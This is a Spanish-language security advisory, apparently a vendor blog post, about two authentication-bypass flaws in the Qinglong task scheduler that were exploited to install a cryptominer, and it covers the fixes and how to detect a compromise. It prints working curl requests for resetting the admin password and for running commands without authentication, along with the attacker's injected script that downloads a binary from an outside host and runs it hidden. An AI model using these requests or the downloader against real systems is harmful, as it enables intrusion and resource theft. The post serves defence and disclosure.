Vulnerabilidades RCE en el programador de tareas Qinglong explotadas para minar criptomonedas

A principios de febrero de 2026, usuarios de Qinglong (青龙), una popular plataforma de código abierto para administrar tareas programadas, con más de 19,000 estrellas en GitHub, comenzaron a reportar que el uso de CPU de sus servidores llegaba al máximo. La causa era un binario de minería de criptomonedas llamado .fullgc, desplegado mediante dos vulnerabilidades de omisión de autenticación que permitían la ejecución remota de código sin autenticación.

Los ataques pasaron prácticamente inadvertidos para la comunidad de seguridad angloparlante. Sin embargo, en los foros de desarrolladores chinos y en los reportes de GitHub, el panorama era claro: los atacantes estaban explotando paneles de Qinglong accesibles públicamente para desplegar mineros de criptomonedas.

Cronología

¿Qué es Qinglong?

Qinglong es un panel autohospedado para programar tareas que admite scripts de Python3, JavaScript, Shell y TypeScript. Se usa ampliamente en la comunidad de desarrolladores chinos para automatizar tareas recurrentes, desde la recopilación de datos hasta los flujos de trabajo de notificaciones. El proyecto está disponible como imagen de Docker y como paquete npm (@whyour/qinglong).

Aunque el número de descargas de npm es bajo, Docker es el principal canal de distribución. Las 19,400 estrellas y los 3,200 forks del proyecto en GitHub reflejan una base de usuarios considerable, principalmente entre desarrolladores de habla china que lo implementan en instancias de VPS en la nube y servidores domésticos.

Las vulnerabilidades

El 27 de febrero de 2026 se reportaron dos vulnerabilidades distintas de omisión de autenticación, ambas presentes en Qinglong versión 2.20.1 y anteriores. Ahora las dos están registradas en Snyk Vulnerability Database: SNYK-JS-WHYOURQINGLONG-15440732 y SNYK-JS-WHYOURQINGLONG-15468374.

Omisión de autenticación mediante reescritura de URL (CVE-2026-3965)

La primera vulnerabilidad (CVE-2026-3965, GitHub Issue #2933) aprovecha una regla de reescritura de URL en el middleware Express.js de la aplicación. Qinglong reescribe las solicitudes de /open/* a /api/$1, lo que crea una ruta no prevista hacia endpoints de administración protegidos.

Un atacante podía restablecer las credenciales de administrador con una sola solicitud sin autenticación:

1curl -X PUT "http://target:5700/open/user/init" \
2  -H "Content-Type: application/json" \
3  -d '{"username": "admin", "password": "attacker_password"}'

Una vez restablecidas las credenciales, el atacante obtenía el control total del panel, incluida la capacidad de crear y ejecutar scripts arbitrarios.

Omisión de autenticación mediante coincidencia de rutas que distingue entre mayúsculas y minúsculas (CVE-2026-4047)

La segunda vulnerabilidad (CVE-2026-4047, GitHub Issue #2934) permite la ejecución remota de código sin autenticación y sin necesidad de restablecer la contraseña. El middleware de autenticación usa una comparación de cadenas que distingue entre mayúsculas y minúsculas (req.path.startsWith('/api/')) para identificar las rutas protegidas. Sin embargo, Express.js no distingue entre mayúsculas y minúsculas al hacer coincidir las rutas. Solicitar /aPi/system/command-run en lugar de /api/system/command-run omite por completo la comprobación de autenticación, aunque la solicitud sigue dirigiéndose al endpoint de ejecución de comandos:

1curl -X PUT "http://target:5700/aPi/system/command-run" \
2  -H "Content-Type: application/json" \
3  -d '{"command": "id"}'

Esto permite la ejecución remota de código sin autenticación y sin necesidad de restablecer las credenciales.

Un antipatrón común

Ambas vulnerabilidades se deben a una discrepancia entre las suposiciones del middleware de seguridad y el comportamiento del framework. La capa de autenticación asumía que ciertos patrones de URL siempre se procesarían de una manera, mientras que Express.js los trataba de otra. Esta es una clase de problemas bien documentada en la seguridad de las aplicaciones web: cuando la lógica de autorización interpreta la solicitud de forma distinta a la capa de enrutamiento, es fácil que se produzcan omisiones. Snyk ya analizó en detalle los patrones de control de acceso defectuoso en Express.js, y también se encontró una omisión de autorización en el middleware de Next.js (CVE-2025-29927), lo que demuestra que esta clase de vulnerabilidad no se limita a un framework específico.

La campaña de minería de criptomonedas

Aunque las vulnerabilidades se reportaron formalmente el 27 de febrero, la explotación llevaba semanas en curso. A partir del 7 u 8 de febrero de 2026, los usuarios de Qinglong comenzaron a abrir reportes sobre un proceso oculto llamado .fullgc que consumía entre el 85 % y el 100 % de la CPU.

Cómo funcionó el ataque

Los atacantes aprovecharon la omisión de autenticación para modificar el archivo de configuración de Qinglong (config.sh) e insertar un script de shell que:

1. Descargaba un binario específico para cada plataforma desde file.551911.xyz (compatible con Linux x86_64, ARM64 y variantes de macOS)

2. Lo guardaba como archivo oculto en /ql/data/db/.fullgc

3. Lo hacía ejecutable y lo iniciaba como proceso en segundo plano, sin mostrar la salida

4. Incluía lógica de persistencia para reiniciar el minero si se detenía

El código insertado tenía un aspecto similar a este:

1# Downloads binary from unofficial domain
2u="https://file.551911.xyz/fullgc/$(uname -s)_$(uname -m)"
3b="/ql/data/db/.fullgc"
4curl -fsSL -o "$b" "$u" && chmod +x "$b" && nohup "$b" >/dev/null 2>&1 &

Es posible que el nombre de archivo .fullgc se eligiera para que pareciera un proceso legítimo. En entornos Java/JVM, «Full GC» (recolección de basura completa) es una causa conocida de picos de CPU, lo que podía retrasar la investigación de un administrador.

Alcance del impacto

Varios usuarios reportaron infecciones en distintas configuraciones de implementación, incluidos sistemas detrás de proxies inversos Nginx con SSL. Proveedores de servicios en la nube, como Alibaba Cloud (Aliyun), marcaron instancias afectadas por actividad de minería de criptomonedas. Al menos un usuario reportó que los atacantes habían comprometido su panel de monitoreo Nezha a través del mismo acceso y habían obtenido visibilidad de cientos de máquinas.

En el debate de la comunidad en Issue #2926, se instó al responsable del proyecto a emitir una advertencia a través del canal de Telegram del proyecto, ya que los usuarios seguían siendo víctimas días después de los primeros reportes.

Cómo se corrigió la vulnerabilidad

La respuesta inicial (PR #2924) se centró en la validación de entradas: bloquear curl, wget, patrones de sustitución de comandos y otros metacaracteres de shell en los campos de tareas cron. Esta es una medida de defensa en profundidad, pero aborda la carga útil específica del ataque, no el problema de control de acceso subyacente. Cabe destacar que el PR #2924 nunca se integró. La solución real requería corregir la omisión de autenticación en el nivel del middleware, lo que se hizo en el PR #2941.

El orden de estas acciones refleja el enfoque correcto. Cuando una aplicación está siendo explotada activamente, el instinto es bloquear la carga útil observada. Sin embargo, si la causa raíz es una omisión de autenticación, filtrar las cargas útiles no es suficiente: los atacantes simplemente usarán otra. La decisión del responsable del proyecto de priorizar la corrección en la capa de autenticación (PR #2941) por encima del bloqueo de cargas útiles (PR #2924) refleja una práctica de seguridad adecuada: primero se corrige el problema de control de acceso y luego se considera la validación de entradas como medida secundaria de defensa en profundidad.

Lecciones para proteger aplicaciones autohospedadas

Este incidente destaca riesgos que van mucho más allá del proyecto Qinglong.

Audita tu cadena de middleware

Si tu aplicación usa reescritura de URL o autorización basada en rutas, verifica que el middleware de seguridad y la capa de enrutamiento coincidan en cómo clasifican las solicitudes. Las mayúsculas y minúsculas, las barras finales, la codificación de URL y las reglas de reescritura son fuentes frecuentes de discrepancias. La lección de Snyk Learn sobre configuraciones incorrectas de seguridad de API analiza estos patrones con más detalle. Herramientas como Snyk Code pueden ayudarte a identificarlos en tus propias aplicaciones.

Considera los paneles autohospedados como una superficie de ataque

Cualquier aplicación web expuesta a Internet es un objetivo, por más especializada que sea. Si tiene una API capaz de ejecutar comandos, necesita una autenticación que realmente funcione. Considera proteger las herramientas autohospedadas detrás de una VPN o un túnel SSH en lugar de exponerlas directamente.

Monitorea el uso inesperado de recursos

La minería de criptomonedas se detectó principalmente por la saturación de la CPU. Si los atacantes hubieran limitado el minero para que consumiera solo entre el 20 % y el 30 % de la CPU, la detección habría tardado mucho más. Usa límites de recursos de contenedores y monitoreo para detectar comportamientos anómalos a tiempo.

Mantén actualizadas tus imágenes de Docker

Qinglong se implementa principalmente mediante Docker. Mantener actualizadas las imágenes de contenedor es fundamental, especialmente cuando se publican parches de seguridad. La guía de Snyk sobre 10 prácticas recomendadas de seguridad para Docker cubre los fundamentos, y herramientas como Snyk Container pueden monitorear continuamente tus imágenes de contenedor para detectar vulnerabilidades conocidas.

Revisa tus configuraciones

Si ejecutas Qinglong o lo ejecutaste en el pasado, busca indicios de que haya sido comprometido:

1# Check for the cryptominer binary
2ls -la /ql/data/db/.fullgc
3
4# Check config.sh for injected code
5grep -r "551911" /ql/data/config/
6grep -r "fullgc" /ql/data/config/
7
8# Check for unexpected background processes
9ps aux | grep fullgc

Si hubo un compromiso, elimina los volúmenes de Docker montados (no solo el contenedor), quita el código malicioso de config.sh, crea de nuevo los contenedores a partir de una imagen limpia y actualiza a la versión más reciente.

El panorama general

Las vulnerabilidades de Qinglong nos recuerdan por qué la seguridad del código abierto requiere atención constante. Un proyecto puede tener miles de estrellas y una comunidad activa, y aun así arrastrar fallas críticas de seguridad en su capa de autenticación durante años. Según los reportes, la omisión de autenticación mediante enrutamiento que no distingue entre mayúsculas y minúsculas (Issue #2934) afectaba a todas las versiones. Esto recuerda al compromiso de Ultralytics AI, en el que los atacantes también usaron el acceso a un proyecto de código abierto para desplegar mineros de criptomonedas.

Las cargas útiles para minar criptomonedas son fáciles de desplegar y difíciles de detectar, sobre todo en plataformas como los programadores de tareas, que por diseño ya ejecutan scripts arbitrarios. Para quienes operan herramientas autohospedadas, este incidente es un caso práctico que demuestra por qué importan la exposición a la red, el diseño de la autenticación y la disciplina para mantener todo actualizado.